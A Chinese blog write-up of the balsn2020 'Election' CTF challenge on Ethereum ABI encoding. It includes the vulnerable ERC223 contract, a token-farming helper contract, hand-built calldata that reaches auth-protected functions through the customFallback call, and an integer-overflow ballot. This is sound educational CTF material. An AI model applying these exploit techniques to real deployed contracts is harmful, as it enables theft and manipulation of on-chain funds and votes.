合约Function Selector and Argument Encoding

合约Function Selector and Argument Encoding

wiki部分

wiki上的知识还是容易理解的,简单来讲就是在Ethereum中通过ABI(二进制接口)可以知道函数的信息,包括参数,函数签名等等。而ABI编码有着规定好的编码方式,wiki主要讲的就是如何进行ABI编码。

balsn2020 Election例题

参考wp

参考博客
因为初学合约,这个例题看了挺久。

合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}

contract ERC223 is IERC223 {
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping (address => uint) private _balances;
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";

constructor (string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
decimals = 18;
}

function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}

function transfer(address to, uint value) public override returns (bool) {
return _transfer(msg.sender, to, value, "", _tokenFallback);
}

function transfer(address to, uint value, bytes memory data) public override returns (bool) {
return _transfer(msg.sender, to, value, data, _tokenFallback);
}

function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
return _transfer(msg.sender, to, value, data, customFallback);
}

/* Helper functions */
function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;

if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}

function _mint(address to, uint value) internal {
require(to != address(0), "ERC223: mint to the zero address");
totalSupply += value;
_balances[to] += value;
emit Transfer(address(0), to, value, "");
}

function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}

contract Election is ERC223 {
struct Proposal {
string name;
string policies;
bool valid;
}
struct Ballot {
address candidate;
uint votes;
}

uint randomNumber = 0;
bool public sendFlag = false; //6
address public owner; //6
uint public stage; //7
address[] public candidates; //8
bytes32[] public voteHashes; //9
mapping(address => Proposal) public proposals; //10
mapping(address => uint) public voteCount; //11
mapping(address => bool) public voted;
mapping(address => bool) public revealed;

event Propose(address, Proposal);
event Vote(bytes32);
event Reveal(uint, Ballot[]);
event SendFlag(address);

constructor() public ERC223("Election", "ELC") {
owner = msg.sender;
_setup();
}

modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}

function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
require(stage == 0, "Election: stage incorrect");
require(!proposals[candidate].valid, "Election: candidate already proposed");
candidates.push(candidate);
proposals[candidate] = proposal;
emit Propose(candidate, proposal);
return candidates.length - 1;
}

function vote(bytes32 voteHash) public returns (uint) {
require(stage == 1, "Election: stage incorrect");
require(!voted[msg.sender], "Election: already voted");
voted[msg.sender] = true;
voteHashes.push(voteHash);
emit Vote(voteHash);
return voteHashes.length - 1;
}

function reveal(uint voteHashID, Ballot[] memory ballots) public {
require(stage == 2, "Election: stage incorrect");
require(!revealed[msg.sender], "Election: already revealed");
require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
revealed[msg.sender] = true;

uint totalVotes = 0;
for (uint i = 0; i < ballots.length; i++) {
address candidate = ballots[i].candidate;
uint votes = ballots[i].votes;
totalVotes += votes;
voteCount[candidate] += votes;
}
require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
emit Reveal(voteHashID, ballots);
}

function getWinner() public view returns (address) {
require(stage == 3, "Election: stage incorrect");
uint maxVotes = 0;
address winner = address(0);
for (uint i = 0; i < candidates.length; i++) {
if (voteCount[candidates[i]] > maxVotes) {
maxVotes = voteCount[candidates[i]];
winner = candidates[i];
}
}
return winner;
}

function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
_mint(msg.sender, 1);
}

function giveMeFlag() public {
require(msg.sender == getWinner(), "Election: you're not the winner");
require(proposals[msg.sender].valid, "Election: no proposal from candidate");
if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
sendFlag = true;
emit SendFlag(msg.sender);
}
}

/* Helper functions */
function _setup() public auth {
address Alice = address(0x9453);
address Bob = address(0x9487);
_setStage(0);
propose(Alice, Proposal("Alice", "This is Alice", true));
propose(Bob, Proposal("Bob", "This is Bob", true));
voteCount[Alice] = uint(-0x9453);
voteCount[Bob] = uint(-0x9487);
_setStage(1);
}

function _setStage(uint _stage) public auth {
stage = _stage & 0xff;
}

function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}

/* custom added functions */
function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
return abi.encodeWithSignature(customFallback, to, value, data);
}

function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {

}

function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
return keccak256(abi.encode(ballots));
}
}

合约分析

合约使用的是ERC223的代币,存在一个父类和子合约。在父类中,存在_transfer接口能够任意调用函数,但是需要构造合适的ABI编码格式。

1
2
3
4
5
6
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}

关于calldelegatecallcallcode的区别如下,这个题特意用了call函数,为了能够绕过后面的auth认证,因为call函数会修改msg值为调用者,然后就能让调用者为合约本身,就能绕过auth了。

例如如下合约即可验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

contract A {
address public temp1;
uint256 public temp2;
function three_call(address addr) public {
addr.call(bytes4(keccak256("test()"))); // 情况1
//addr.delegatecall(bytes4(keccak256("test()"))); // 情况2
//addr.callcode(bytes4(keccak256("test()"))); // 情况3
}
}

contract B {
address public temp1;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
function test2() public returns (uint256){
return uint(-0x9453);
}
}

子合约实现了一个投票系统,主要包含propose,vote,reveal三个函数,stage变量用于调用不同函数时设置为不同的值。合约定义了两个结构体。

1
2
3
4
5
6
7
8
9
10
11
// 用于存放candidate竞争者的信息
struct Proposal {
string name;
string policies;
bool valid;
}
//用于存放每个candidate获得票数
struct Ballot {
address candidate;
uint votes;
}

auth认证,需要调用者为合约本身,正好是call函数的用法。

1
2
3
4
modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}

主要函数(propose,_setStage有auth认证)

  • propose(address candidate, Proposal memory proposal)函数用于进行投票,并且进行了auth认证。此时需要stage==0,同时Proposal结构体下的valid变量需要设置为给定的字符串。

  • vote(bytes32 voteHash)函数用于确认投票,需要stage==0。参数为经过keccak256(abi.encode(ballots))编码的Ballot[]数组的bytes32值。

  • reveal(uint voteHashID, Ballot[] memory ballots)函数用于计算每个candidate账户的总票数,需要stage==2。

  • getWinner()函数用于判断出最终获胜者,所以最终目的为让我们的账户成为winner,这样就能调用giveMeFlag()获取flag。

  • _setStage(uint _stage)用于设置stage变量,但有auth认证。

而合约在初始化的时候将stage的值设为了1,并且只有两个账户。

所以第一步需要绕过auth,这样才能调用到_setStage来设置stage变量的值,继而调用其他函数。而调用任意函数的漏洞就是上面说的父类里面的call函数。

调用不用函数的编码如下

所以当调用_setStage的时候,函数只接受一个参数,那参数的内容就是msg.sender的值所以我们要设置stage变量的内容,需要找到合约地址后缀是00 01 02 03的。利用这个网站

而当调用propose的时候,函数接受两个参数,第一个是address地址形式,第二个是Propose结构体。所以根据abi编码方式,首先直接写入address定值,然后是proposal结构体的offset 0x20*2=0x40,之后遍历结构体的参数有三个,前两个是变长类型,则name的offset为 0x20*3=0x60,policies为0x60 + 0x20*2 = 0xa0(前一个参数的长度和data内容各占0x20),最后是valid是bool类型不需要存储offset。然后开始重新遍历变长类型,先写入参数的长度,再写入参数的值。所以在调用这个函数的时候,data的值就需要进行精心构造成符合abi编码的格式。

例如如果要利用call函数调用propose函数,address地址为0x9aC4ef4fed53a395Bcb4004Cd8DffEE73CC46800,结构体中name为kkfine,policies为Give me the flag, please,valid为true,则call函数中data的内容为

1
2
3
4
5
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000006
6b6b66696e650000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000018
47697665206d652074686520666c61672c20706c656173650000000000000000

而前半部分则如下,所以value参数内容应该是0x40

1
2
3
4
slot0     msg.sender/candidate
slot1 offset of Proposal 0x0000000000000000000000000000000000000000000000000000000000000040
slot2 offset of name 0x0000000000000000000000000000000000000000000000000000000000000060
slot3 offset of plicies 0x00000000000000000000000000000000000000000000000000000000000000a0

或者使用题目的testdeet接口也能看出来

现在能够调用任意函数,但是还需要绕过148行totalVotes <= balanceOf(msg.sender),所以这里还存在一个integer overflow溢出漏洞。

第 145 行存在一个 integer overflow ,所以我们可以两个 ballot 投票,票数分别为 2^256-1(投给 attacker ) 和 1 (投给 Alice 或 Bob 任意一个),这样利用 145 行的 integer overflow 便可通过 148 行的限制,同时使 attacker 票数为 2^256-1 ,可通过 getWinner() 赢得选票

关于溢出

攻击

首先需要四个不同后缀的账户
0x9aC4ef4fed53a395Bcb4004Cd8DffEE73CC46800 00
0xD9ee07AAf7e3d5951721f7deB46802207f4dF001 01
0x89eB2cD0eC49Cf1B584d3b4bdb6453B1f16c3203 03
0x88C87F1365F793dd79c4b2A60f238C8594e9d602 02

题目合约地址
0xef31471E3004a78Ae403858BbcB27D6d1f37791C

candidate账户
0x0000000000000000000000000000000000009453Alice
0x0000000000000000000000000000000000009487Bob
0x9c5D5bE2a76503957853d9b6f81fFDE226635739攻击账户

首先需要向我们的攻击账户转64块钱,因为上面说到需要在调用propose的时候设置value为64,而在_transfer中存在限制 require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");所以需要先转64元钱。

通过这个合约来让_balances[attacker_address]=64,脚本原理就是先通过giveMeMoney获取一块钱,此时就可以满足_balances[from] >= value了。之后就能在第52行通过_balances[to] += value;不断加钱。

1
2
3
4
5
6
7
8
9
10
11
import './Elction.sol';
contract send {
Election target = Election(0xef31471E3004a78Ae403858BbcB27D6d1f37791C);

function getmoney(uint times) public {
for (uint i=0; i<times; i++) {
target.giveMeMoney();
target.transfer(0x9c5D5bE2a76503957853d9b6f81fFDE226635739, 1, "", "");
}
}
}

第二步就是进行vote投票,进行整数溢出,准备两个 ballot,一个投给 attacker,票数为 2^256-1 ;一个投给 Alice,票数为 1。

1
ballotEncode([["0x9c5d5be2a76503957853d9b6f81ffde226635739","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"], ["0x0000000000000000000000000000000000009453","0x1"]])

编码结果为

查看votehashes,发现成功显示

然后需要切换到00后缀账户调用_setStage修改stage变量为0,再调用propose将 attacker 增加到 candidate。


查看 proposals 可以看到添加 attacker 为 candidate 成功

这里顺便分析一下transfer调用propose的abi编码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Function: transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) ***

MethodID: 0xf6368f8a

// transfer第一个参数msg.sender,直接写入slot
[0]: 000000000000000000000000ef31471e3004a78ae403858bbcb27d6d1f37791c

//uint256定长参数,也是直接写入内容
[1]: 0000000000000000000000000000000000000000000000000000000000000040

//第三个是变长参数bytes _data,先写入offset,函数参数有4个所以为0x20*4=0x80
[2]: 0000000000000000000000000000000000000000000000000000000000000080

//最后一个变长参数,计算其pffset:0x80 + 0x20*5(前一个变长类型的值所用槽数) + 0x20(前一个变长类型存储长度占用槽数) = 0x140
[3]: 0000000000000000000000000000000000000000000000000000000000000140

data的长度 0x20*5 = 0xa0
[4]: 00000000000000000000000000000000000000000000000000000000000000a0

//data数据值
[5]: 0000000000000000000000000000000000000000000000000000000000000001
[6]: 0000000000000000000000000000000000000000000000000000000000000006
[7]: 6b6b66696e650000000000000000000000000000000000000000000000000000
[8]: 0000000000000000000000000000000000000000000000000000000000000018
[9]: 47697665206d652074686520666c61672c20706c656173650000000000000000

//_custom_fallback边长参数的长度
[10]: 0000000000000000000000000000000000000000000000000000000000000025

//_custom_fallback的值(即为propose(address,(string,string,bool))
[11]: 70726f706f736528616464726573732c28737472696e672c737472696e672c62
[12]: 6f6f6c2929000000000000000000000000000000000000000000000000000000

然后切换到02后缀修改stage为2,进行 reveal 调用,其中 ballots 是上面已经传入的ballots (使用 attacker账户 ),调用完后查看 voteCount[attacker] 已经是 2^256-1

最后切换到03后缀账户,设值stage为3。

然后调用 giveMeFlag()即可(使用 attacker账户),不过这最后一步我不小心给自己账户设置成revealed true了,所以最后就放本地的图得了(合约地址为0x7fe5E6C8eE2EC92c5aA9912499f364540640d152)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!